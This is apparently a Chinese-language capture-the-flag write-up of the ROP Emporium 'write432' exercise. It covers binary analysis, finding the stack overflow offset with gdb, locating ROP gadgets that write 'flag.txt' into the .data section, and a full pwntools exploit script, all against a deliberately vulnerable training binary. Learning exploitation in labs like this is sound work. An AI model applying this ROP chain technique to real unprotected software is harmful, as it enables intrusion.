bookmark_borderROP Emporium学习 — write432

write432

静态分析

查看二进制文件的基本信息
xxxx@debian9:~/pwn/ropemporium$ rabin2 -I write432
arch     x86
baddr    0x8048000
binsz    6050
bintype  elf
bits     32
canary   false
class    ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    .
sanitiz  false
static   false
stripped false
subsys   linux
va       true
[0x080483f0]> afl
0x080483f0    1 50           entry0
0x08048423    1 4            fcn.08048423
0x080483c0    1 6            sym.imp.__libc_start_main
0x0804837c    3 35           sym._init
0x08048440    1 4            sym.__x86.get_pc_thunk.bx
0x080483e0    1 6            sym..plt.got
0x080485b4    1 20           sym._fini
0x08048450    4 50   -> 41   sym.deregister_tm_clones
0x08048490    4 58   -> 54   sym.register_tm_clones
0x080484d0    3 34   -> 31   sym.__do_global_dtors_aux
0x08048500    1 6            entry.init0
0x0804852a    1 25           sym.usefulFunction
0x080483d0    1 6            sym.imp.print_file
0x080485b0    1 2            sym.__libc_csu_fini
0x08048550    4 93           sym.__libc_csu_init
0x08048430    1 2            sym._dl_relocate_static_pie
0x08048506    1 36           main
0x080483b0    1 6            sym.imp.pwnme
[0x080483f0]>
执行一下程序
xxxx@debian9:~/pwn/ropemporium$ ./write432
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> AAA
Thank you!
xxxx@debian9:~/pwn/ropemporium$

动态调试

使用gdb调试
 gdb -q ./write432
查看程序开启了哪些保护
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$
NX: ENABLED说明Heap里没有执行权限,无法在Heap上构造shellcode执行。
加载程序到main的位置停下
gdb-peda$ start
在read函数处做断点
gdb-peda$ break *read
随便创建30个长度的字符
gdb-peda$ pattern_create 30
'AAA%AAsAABAA$AAnAACAA-AA(AADAA'
继续执行
gdb-peda$ continue
在read函数执行完的地方停下
gdb-peda$ finish
输入AAA%AAsAABAA$AAnAACAA-AA(AADAA
一路next 到ret之前:
gdb-peda$ next
可以看到路上并没有对输入做任何校验。
在 leave;ret;指令之前,可以看到Heap的大小是40
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xf7fd2000 --> 0x1f0c
ECX: 0xfbad0087
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0xf7fb0000 --> 0x1b2db0
EBP: 0xffffd588 --> 0xffffd598 --> 0x0
ESP: 0xffffd560 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\n")
EIP: 0xf7fd074a (<pwnme+173>:   mov    ebx,DWORD PTR [ebp-0x4])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7fd0741 <pwnme+164>:      call   0xf7fd0540 <puts@plt>
   0xf7fd0746 <pwnme+169>:      add    esp,0x10
   0xf7fd0749 <pwnme+172>:      nop
=> 0xf7fd074a <pwnme+173>:      mov    ebx,DWORD PTR [ebp-0x4]
   0xf7fd074d <pwnme+176>:      leave
   0xf7fd074e <pwnme+177>:      ret
   0xf7fd074f <print_file>:     push   ebp
   0xf7fd0750 <print_file+1>:   mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffffd560 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\n")
0004| 0xffffd564 ("AAsAABAA$AAnAACAA-AA(AADAA\n")
0008| 0xffffd568 ("ABAA$AAnAACAA-AA(AADAA\n")
0012| 0xffffd56c ("$AAnAACAA-AA(AADAA\n")
0016| 0xffffd570 ("AACAA-AA(AADAA\n")
0020| 0xffffd574 ("A-AA(AADAA\n")
0024| 0xffffd578 ("(AADAA\n")
0028| 0xffffd57c --> 0xa4141 ('AA\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7fd074a in pwnme () from ./libwrite432.so

gdb-peda$ p/d $ebp-$esp
$1 = 40
因此造出大于40个长度的字符即可溢出,由于32位程序要4字节对齐,那就创44个字符。
gdb-peda$ pattern_create 44
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A'
溢出:
xxxx@debian9:~/pwn/ropemporium$ ./write432
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A
Thank you!
Segmentation fault
xxxx@debian9:~/pwn/ropemporium$

利用

确定利用方法
题目的意思上给print_file函数传一个参数(flag.txt)
xxxx@debian9:~/pwn/ropemporium$ radare2  write432
 -- Everybody hates warnings. Mr. Pancake, tear down this -Wall
[0x080483f0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080483f0]> afl
0x080483f0    1 50           entry0
0x08048423    1 4            fcn.08048423
0x080483c0    1 6            sym.imp.__libc_start_main
0x0804837c    3 35           sym._init
0x08048440    1 4            sym.__x86.get_pc_thunk.bx
0x080483e0    1 6            sym..plt.got
0x080485b4    1 20           sym._fini
0x08048450    4 50   -> 41   sym.deregister_tm_clones
0x08048490    4 58   -> 54   sym.register_tm_clones
0x080484d0    3 34   -> 31   sym.__do_global_dtors_aux
0x08048500    1 6            entry.init0
0x0804852a    1 25           sym.usefulFunction
0x080483d0    1 6            sym.imp.print_file
0x080485b0    1 2            sym.__libc_csu_fini
0x08048550    4 93           sym.__libc_csu_init
0x08048430    1 2            sym._dl_relocate_static_pie
0x08048506    1 36           main
0x080483b0    1 6            sym.imp.pwnme
[0x080483f0]>
整个PE文件都没有flag字符
[0x080483f0]> axt @@ str.*

[0x080483f0]> izz
需要构造然后放到内存中的data区域内。
找写内存的gadget
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
...
0x08048543 : mov dword ptr [edi], ebp ; ret
用于把寄存器的值写道内存里 后面只要关注怎么让edi指向.data区域就行了
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
...
0x080485aa : pop edi ; pop ebp ; ret
这个指令可以修改edi值地址,使其指向任何可写的内存区域,用于构造“flag.txt”
查找哪个区域可以写:
$ readelf -a ./write432
...
  [19] .init_array       INIT_ARRAY      08049efc 000efc 000004 04  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f00 000f00 000004 04  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f04 000f04 0000f8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
data区域可写,而且里面是空的:
$ readelf -x .data ./write432
Hex dump of section '.data':
  0x0804a018 00000000 00000000                   ........
压入成功后会在.data区域写入 flag.txt 字符
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad0087
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0x804a01c (".txt")
EBP: 0x7478742e ('.txt')
ESP: 0xffffd5ac --> 0x80483d0 (<print_file@plt>:        jmp    DWORD PTR ds:0x804a014)
EIP: 0x8048545 (<usefulGadgets+2>:      ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048541 <usefulFunction+23>:       leave
   0x8048542 <usefulFunction+24>:       ret
   0x8048543 <usefulGadgets>:   mov    DWORD PTR [edi],ebp
=> 0x8048545 <usefulGadgets+2>: ret
   0x8048546 <usefulGadgets+3>: xchg   ax,ax
   0x8048548 <usefulGadgets+5>: xchg   ax,ax
   0x804854a <usefulGadgets+7>: xchg   ax,ax
   0x804854c <usefulGadgets+9>: xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd5ac --> 0x80483d0 (<print_file@plt>:       jmp    DWORD PTR ds:0x804a014)
0004| 0xffffd5b0 --> 0x804a018 ("flag.txt")
0008| 0xffffd5b4 --> 0xffffd644 --> 0xffffd77d ("/home/xxxx/pwn/ropemporium/write432")
0012| 0xffffd5b8 --> 0xffffd64c --> 0xffffd7a1 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xffffd5bc --> 0x0
0020| 0xffffd5c0 --> 0x0
0024| 0xffffd5c4 --> 0x0
0028| 0xffffd5c8 --> 0xf7fb0000 --> 0x1b2db0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048545 in usefulGadgets ()
gdb-peda$ x/10s 0x0804a018
0x804a018:      "flag.txt"
0x804a021:      ""
0x804a022:      ""
0x804a023:      ""
0x804a024:      ""
0x804a025:      ""
0x804a026:      ""
0x804a027:      ""
0x804a028:      ""
0x804a029:      ""
gdb-peda$ next
由于print_file中是从ebp+0x8 传的参数给fopen, 因此flag.txt之前还要加4个字符
   0xf7fd0772 <print_file+35>:  push   DWORD PTR [ebp+0x8]
=> 0xf7fd0775 <print_file+38>:  call   0xf7fd0570 <fopen@plt>
python3 利用脚本
from pwn import *

def convertASCII_to_Hex(value):
	res = ""
	for i in value:
		res += hex(ord(i))[2:]
	return res      

def changeEndian(value):
	length = len(value)
	res = "0x"
	for i in range(length-1, 0, -2):
		res += value[i-1]+ value[i]
	return res      

def generateString(value):
	return int(changeEndian(convertASCII_to_Hex(value)), 16)


#Prepare the payload
junk = b"A"*44

pop_edi_ebp = p32(0x080485aa)
data_addr_1 = p32(0x0804a018) 
string1 = p32(generateString("flag"))  

move_edi_epb = p32(0x08048543)

pop_edi_ebp = p32(0x080485aa)
data_addr_2 = p32(0x0804a018 + 4) 
string2 = p32(generateString(".txt"))  

print_file = p32(0x080483d0)

payload = junk

payload += pop_edi_ebp
payload += data_addr_1
payload += string1
payload += move_edi_epb

payload += pop_edi_ebp
payload += data_addr_2
payload += string2
payload += move_edi_epb

payload += print_file
payload += b"BBBB"
payload += data_addr_1

#sys.stdout.buffer.write(payload)

# Send the payload
elf = ELF('write432')                 #context.binary
p = process(elf.path)

p.sendline(payload)                 #send the payload to the process

p.interactive()
参考: